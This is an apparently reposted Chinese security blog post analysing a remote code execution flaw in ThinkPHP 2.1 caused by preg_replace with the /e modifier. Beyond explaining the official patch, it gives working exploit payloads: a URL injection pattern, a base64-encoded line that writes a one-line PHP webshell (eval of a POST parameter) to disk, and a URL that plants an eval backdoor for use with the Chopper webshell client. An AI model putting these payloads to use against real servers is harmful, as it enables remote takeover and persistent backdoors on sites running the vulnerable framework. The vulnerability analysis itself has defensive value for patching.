好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

thinkphp 2.1最新漏洞 - 网站安全 - 自学php

thinkphp 2.1的版本   我们来分析下 漏洞 吧   官方发布了一个安全补丁   表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。   官方的补丁:   /trunk/Think PHP /Lib/Core/Dispatcher.class.php       125 –$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=]\2″;’, implode($depr,$paths)); 125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=’\2′;’, implode($depr,$paths));       这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。 然而在用正则解析pathinfo的时候,主要是这一句:       $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=]\2″;’, implode($depr,$paths));       这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。   ‘$var['\1']=]\2″;’   而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:   index.php/module/action/param1/${@print(THINK_VERSION)}   执行效果如下:       就是说   print( )里面可以执行我们的任意代码   如phpinfo()等其他函数   那就行了   我们可以直接利用   fputs和fopen函数直接写木马出来了   构造语句   fputs(fopen(base64_decode([bW0ucGhw]),]w]),base64_decode([PD9ldmFsKCRfUE9TVFtjXSk7Pz4=]))   base64_decode([bW0ucGhw])解码后是mm.php   base64_decode([PD9ldmFsKCRfUE9TVFtjXSk7Pz4=])解码后是<?eval($_POST[c]);?>   只要执行了 就能在该目录下生成一个mm.php的一句话木马文件   但是操作的时候出现了问题       经分析 是双引号被转义了   然后我试了其他几种不用双引号写马的代码   都失败了  原因是  <>  尖括号等都被转义了   而用   exec()等 系统 命令执行函数写马的话是写不出的   网上的利用方法貌似很少  只有神刀网的那个用echo写马的方法   但是前提是双引号没有被转义掉才能成功   怎么办呢   这个时候不要太拘泥于这里了   一个中国人搞安全怎么能忘记中国人写的软件菜刀了   直接构造代码       http://www.2cto.com /project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}       菜刀里面直接填这个路径 密码C  就能连接了           根本不用拘泥于写马的问题   作者:Seay's blog 小程序猿守护着信息安全、

查看更多关于thinkphp 2.1最新漏洞 - 网站安全 - 自学php的详细内容...

  阅读:47次